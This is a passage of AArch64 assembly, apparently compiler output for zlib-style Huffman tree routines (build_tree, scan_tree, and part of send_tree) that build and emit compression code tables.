beq .L545
bl __stack_chk_fail
.L545:
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE55:
.size gen_codes, .-gen_codes
.align 2
.type build_tree, %function
build_tree:
.LFB56:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 16]
ldr x0, [x0]
str x0, [sp, 80]
ldr x0, [sp, 16]
ldr x0, [x0, 16]
ldr x0, [x0]
str x0, [sp, 88]
ldr x0, [sp, 16]
ldr x0, [x0, 16]
ldr w0, [x0, 20]
str w0, [sp, 64]
mov w0, -1
str w0, [sp, 48]
ldr x0, [sp, 24]
str wzr, [x0, 5284]
ldr x0, [sp, 24]
mov w1, 573
str w1, [x0, 5288]
str wzr, [sp, 44]
b .L548
.L551:
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 80]
add x0, x1, x0
ldrh w0, [x0]
cmp w0, 0
beq .L549
ldr x0, [sp, 24]
ldr w0, [x0, 5284]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 5284]
ldr w0, [sp, 44]
str w0, [sp, 48]
ldr x0, [sp, 24]
ldr w1, [x0, 5284]
ldr x0, [sp, 24]
sxtw x1, w1
add x1, x1, 748
ldr w2, [sp, 48]
str w2, [x0, x1, lsl 2]
ldr x1, [sp, 24]
ldrsw x0, [sp, 44]
add x0, x1, x0
add x0, x0, 4096
strb wzr, [x0, 1196]
b .L550
.L549:
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 80]
add x0, x1, x0
strh wzr, [x0, 2]
.L550:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L548:
ldr w1, [sp, 44]
ldr w0, [sp, 64]
cmp w1, w0
blt .L551
b .L552
.L555:
ldr x0, [sp, 24]
ldr w0, [x0, 5284]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 5284]
ldr w0, [sp, 48]
cmp w0, 1
bgt .L553
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
ldr w0, [sp, 48]
str w0, [sp, 56]
b .L554
.L553:
str wzr, [sp, 56]
.L554:
ldr x0, [sp, 24]
ldr w1, [x0, 5284]
ldr x0, [sp, 24]
sxtw x1, w1
add x1, x1, 748
ldr w2, [sp, 56]
str w2, [x0, x1, lsl 2]
ldr w0, [sp, 56]
str w0, [sp, 52]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 80]
add x0, x1, x0
mov w1, 1
strh w1, [x0]
ldr x1, [sp, 24]
ldrsw x0, [sp, 52]
add x0, x1, x0
add x0, x0, 4096
strb wzr, [x0, 1196]
ldr x0, [sp, 24]
ldr x0, [x0, 5896]
sub x1, x0, #1
ldr x0, [sp, 24]
str x1, [x0, 5896]
ldr x0, [sp, 88]
cmp x0, 0
beq .L552
ldr x0, [sp, 24]
ldr x1, [x0, 5904]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x2, [sp, 88]
add x0, x2, x0
ldrh w0, [x0, 2]
and x0, x0, 65535
sub x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 5904]
.L552:
ldr x0, [sp, 24]
ldr w0, [x0, 5284]
cmp w0, 1
ble .L555
ldr x0, [sp, 16]
ldr w1, [sp, 48]
str w1, [x0, 8]
ldr x0, [sp, 24]
ldr w0, [x0, 5284]
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
str w0, [sp, 44]
b .L556
.L557:
ldr w2, [sp, 44]
ldr x1, [sp, 80]
ldr x0, [sp, 24]
bl pqdownheap
ldr w0, [sp, 44]
sub w0, w0, #1
str w0, [sp, 44]
.L556:
ldr w0, [sp, 44]
cmp w0, 0
bgt .L557
ldr w0, [sp, 64]
str w0, [sp, 52]
.L562:
ldr x0, [sp, 24]
ldr w0, [x0, 2996]
str w0, [sp, 44]
ldr x0, [sp, 24]
ldr w0, [x0, 5284]
str w0, [sp, 68]
ldr x0, [sp, 24]
ldr w0, [x0, 5284]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 5284]
ldr x0, [sp, 24]
ldrsw x1, [sp, 68]
add x1, x1, 748
ldr w1, [x0, x1, lsl 2]
ldr x0, [sp, 24]
str w1, [x0, 2996]
mov w2, 1
ldr x1, [sp, 80]
ldr x0, [sp, 24]
bl pqdownheap
ldr x0, [sp, 24]
ldr w0, [x0, 2996]
str w0, [sp, 72]
ldr x0, [sp, 24]
ldr w0, [x0, 5288]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 5288]
ldr x0, [sp, 24]
ldr w1, [x0, 5288]
ldr x0, [sp, 24]
sxtw x1, w1
add x1, x1, 748
ldr w2, [sp, 44]
str w2, [x0, x1, lsl 2]
ldr x0, [sp, 24]
ldr w0, [x0, 5288]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 5288]
ldr x0, [sp, 24]
ldr w1, [x0, 5288]
ldr x0, [sp, 24]
sxtw x1, w1
add x1, x1, 748
ldr w2, [sp, 72]
str w2, [x0, x1, lsl 2]
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 80]
add x0, x1, x0
ldrh w2, [x0]
ldrsw x0, [sp, 72]
lsl x0, x0, 2
ldr x1, [sp, 80]
add x0, x1, x0
ldrh w1, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x3, [sp, 80]
add x0, x3, x0
add w1, w2, w1
and w1, w1, 65535
strh w1, [x0]
ldr x1, [sp, 24]
ldrsw x0, [sp, 44]
add x0, x1, x0
add x0, x0, 4096
ldrb w1, [x0, 1196]
ldr x2, [sp, 24]
ldrsw x0, [sp, 72]
add x0, x2, x0
add x0, x0, 4096
ldrb w0, [x0, 1196]
cmp w1, w0
bcc .L558
ldr x1, [sp, 24]
ldrsw x0, [sp, 44]
add x0, x1, x0
add x0, x0, 4096
ldrb w0, [x0, 1196]
str w0, [sp, 60]
b .L559
.L558:
ldr x1, [sp, 24]
ldrsw x0, [sp, 72]
add x0, x1, x0
add x0, x0, 4096
ldrb w0, [x0, 1196]
str w0, [sp, 60]
.L559:
ldr w0, [sp, 60]
and w0, w0, 255
add w0, w0, 1
and w2, w0, 255
ldr x1, [sp, 24]
ldrsw x0, [sp, 52]
add x0, x1, x0
add x0, x0, 4096
mov w1, w2
strb w1, [x0, 1196]
ldr w0, [sp, 52]
strh w0, [sp, 42]
ldrsw x0, [sp, 72]
lsl x0, x0, 2
ldr x1, [sp, 80]
add x0, x1, x0
ldrh w1, [sp, 42]
strh w1, [x0, 2]
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 80]
add x0, x1, x0
ldrh w1, [sp, 42]
strh w1, [x0, 2]
ldr w0, [sp, 52]
str w0, [sp, 76]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
ldr x0, [sp, 24]
ldr w1, [sp, 76]
str w1, [x0, 2996]
mov w2, 1
ldr x1, [sp, 80]
ldr x0, [sp, 24]
bl pqdownheap
ldr x0, [sp, 24]
ldr w0, [x0, 5284]
cmp w0, 1
ble .L565
b .L562
.L565:
nop
ldr x0, [sp, 24]
ldr w0, [x0, 5288]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 5288]
ldr x0, [sp, 24]
ldr w1, [x0, 5288]
ldr x0, [sp, 24]
ldr w2, [x0, 2996]
ldr x0, [sp, 24]
sxtw x1, w1
add x1, x1, 748
str w2, [x0, x1, lsl 2]
ldr x1, [sp, 16]
ldr x0, [sp, 24]
bl gen_bitlen
ldr x0, [sp, 24]
add x0, x0, 2960
mov x2, x0
ldr w1, [sp, 48]
ldr x0, [sp, 80]
bl gen_codes
nop
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE56:
.size build_tree, .-build_tree
.align 2
.type scan_tree, %function
scan_tree:
.LFB57:
.cfi_startproc
sub sp, sp, #64
.cfi_def_cfa_offset 64
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
mov w0, -1
str w0, [sp, 40]
ldr x0, [sp, 16]
ldrh w0, [x0, 2]
str w0, [sp, 44]
str wzr, [sp, 48]
mov w0, 7
str w0, [sp, 52]
mov w0, 4
str w0, [sp, 56]
ldr w0, [sp, 44]
cmp w0, 0
bne .L567
mov w0, 138
str w0, [sp, 52]
mov w0, 3
str w0, [sp, 56]
.L567:
ldrsw x0, [sp, 12]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
mov w1, -1
strh w1, [x0, 2]
str wzr, [sp, 36]
b .L568
.L579:
ldr w0, [sp, 44]
str w0, [sp, 60]
ldrsw x0, [sp, 36]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldrh w0, [x0, 2]
str w0, [sp, 44]
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
ldr w1, [sp, 48]
ldr w0, [sp, 52]
cmp w1, w0
bge .L581
ldr w1, [sp, 60]
ldr w0, [sp, 44]
cmp w1, w0
beq .L582
b .L569
.L581:
nop
.L569:
ldr w1, [sp, 48]
ldr w0, [sp, 56]
cmp w1, w0
bge .L572
ldr x1, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
ldrh w1, [x0, 12]
ldr w0, [sp, 48]
and w0, w0, 65535
add w0, w1, w0
and w2, w0, 65535
ldr x1, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 12]
b .L573
.L572:
ldr w0, [sp, 60]
cmp w0, 0
beq .L574
ldr w1, [sp, 60]
ldr w0, [sp, 40]
cmp w1, w0
beq .L575
ldr x1, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 12]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 12]
.L575:
ldr x0, [sp, 24]
ldrh w0, [x0, 2796]
add w0, w0, 1
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 2796]
b .L573
.L574:
ldr w0, [sp, 48]
cmp w0, 10
bgt .L576
ldr x0, [sp, 24]
ldrh w0, [x0, 2800]
add w0, w0, 1
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 2800]
b .L573
.L576:
ldr x0, [sp, 24]
ldrh w0, [x0, 2804]
add w0, w0, 1
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 2804]
.L573:
str wzr, [sp, 48]
ldr w0, [sp, 60]
str w0, [sp, 40]
ldr w0, [sp, 44]
cmp w0, 0
bne .L577
mov w0, 138
str w0, [sp, 52]
mov w0, 3
str w0, [sp, 56]
b .L571
.L577:
ldr w1, [sp, 60]
ldr w0, [sp, 44]
cmp w1, w0
bne .L578
mov w0, 6
str w0, [sp, 52]
mov w0, 3
str w0, [sp, 56]
b .L571
.L578:
mov w0, 7
str w0, [sp, 52]
mov w0, 4
str w0, [sp, 56]
b .L571
.L582:
nop
.L571:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L568:
ldr w1, [sp, 36]
ldr w0, [sp, 12]
cmp w1, w0
ble .L579
nop
add sp, sp, 64
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE57:
.size scan_tree, .-scan_tree
.align 2
.type send_tree, %function
send_tree:
.LFB58:
.cfi_startproc
sub sp, sp, #192
.cfi_def_cfa_offset 192
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
mov w0, -1
str w0, [sp, 40]
ldr x0, [sp, 16]
ldrh w0, [x0, 2]
str w0, [sp, 44]
str wzr, [sp, 48]
mov w0, 7
str w0, [sp, 52]
mov w0, 4
str w0, [sp, 56]
ldr w0, [sp, 44]
cmp w0, 0
bne .L584
mov w0, 138
str w0, [sp, 52]
mov w0, 3
str w0, [sp, 56]
.L584:
str wzr, [sp, 36]
b .L585
.L612:
ldr w0, [sp, 44]
str w0, [sp, 60]
ldrsw x0, [sp, 36]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldrh w0, [x0, 2]
str w0, [sp, 44]
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
ldr w1, [sp, 48]
ldr w0, [sp, 52]
cmp w1, w0
bge .L614
ldr w1, [sp, 60]
ldr w0, [sp, 44]
cmp w1, w0
beq .L615
b .L586
.L614:
nop
.L586:
ldr w1, [sp, 48]
ldr w0, [sp, 56]
cmp w1, w0
bge .L589
.L594:
ldr x1, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 14]
str w0, [sp, 176]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 176]
sub w0, w2, w0
cmp w1, w0
ble .L590
ldr x1, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 12]
str w0, [sp, 180]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 180]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 184]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 184]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 188]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 188]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 180]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 176]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L591
.L590:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr x2, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 680
lsl x0, x0, 2
add x0, x2, x0
ldrh w0, [x0, 12]
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 176]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L591:
ldr w0, [sp, 48]
sub w0, w0, #1
str w0, [sp, 48]
ldr w0, [sp, 48]
cmp w0, 0
beq .L616
b .L594
.L589:
ldr w0, [sp, 60]
cmp w0, 0
beq .L596
ldr w1, [sp, 60]
ldr w0, [sp, 40]
cmp w1, w0
beq .L597
ldr x1, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 14]
str w0, [sp, 128]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 128]
sub w0, w2, w0
cmp w1, w0
ble .L598
ldr x1, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 12]
str w0, [sp, 132]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 132]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 136]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 136]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 140]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 140]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 132]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 128]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L599
.L598:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr x2, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 680
lsl x0, x0, 2
add x0, x2, x0
ldrh w0, [x0, 12]
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 128]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L599:
ldr w0, [sp, 48]
sub w0, w0, #1
str w0, [sp, 48]
.L597:
ldr x0, [sp, 24]
ldrh w0, [x0, 2798]
str w0, [sp, 144]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 144]
sub w0, w2, w0
cmp w1, w0
ble .L600
ldr x0, [sp, 24]
ldrh w0, [x0, 2796]
str w0, [sp, 148]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 148]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 152]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 152]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 156]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 148]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 144]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L601
.L600:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr x0, [sp, 24]
ldrh w0, [x0, 2796]
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 144]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L601:
mov w0, 2
str w0, [sp, 160]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 160]
sub w0, w2, w0
cmp w1, w0
ble .L602
ldr w0, [sp, 48]
sub w0, w0, #3
str w0, [sp, 164]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 164]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 168]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 168]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 172]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 172]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 164]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 160]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L595
.L602:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 48]
and w0, w0, 65535
sub w0, w0, #3
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 160]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L595
.L596:
ldr w0, [sp, 48]
cmp w0, 10
bgt .L603
ldr x0, [sp, 24]
ldrh w0, [x0, 2802]
str w0, [sp, 96]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 96]
sub w0, w2, w0
cmp w1, w0
ble .L604
ldr x0, [sp, 24]
ldrh w0, [x0, 2800]
str w0, [sp, 100]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 100]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 104]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 108]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 108]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 100]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 96]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L605
.L604:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr x0, [sp, 24]
ldrh w0, [x0, 2800]
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 96]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
.L605:
mov w0, 3
str w0, [sp, 112]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 112]
sub w0, w2, w0
cmp w1, w0
ble .L606
ldr w0, [sp, 48]
sub w0, w0, #3
str w0, [sp, 116]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 116]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 120]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w2, [x0, 5920]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 120]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 124]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 124]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr w0, [sp, 116]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
asr w0, w2, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 112]
sub w0, w0, #16
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L595
.L606:
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 48]
and w0, w0, 65535
sub w0, w0, #3
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
lsl w0, w2, w0
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0, 5920]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
ldr w0, [sp, 112]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 5924]
b .L595
.L603:
ldr x0, [sp, 24]
ldrh w0, [x0, 2806]
str w0, [sp, 64]
ldr x0, [sp, 24]
ldr w1, [x0, 5924]
mov w2, 16
ldr w0, [sp, 64]
sub w0, w2, w0
cmp w1, w0
ble .L607
ldr x0, [sp, 24]
ldrh w0, [x0, 2804]
str w0, [sp, 68]
ldr x0, [sp, 24]
ldrh w0, [x0, 5920]
sxth w1, w0
ldr w0, [sp, 68]
and w0, w0, 65535
mov w2, w0
ldr x0, [sp, 24]
ldr w0, [x0, 5924]
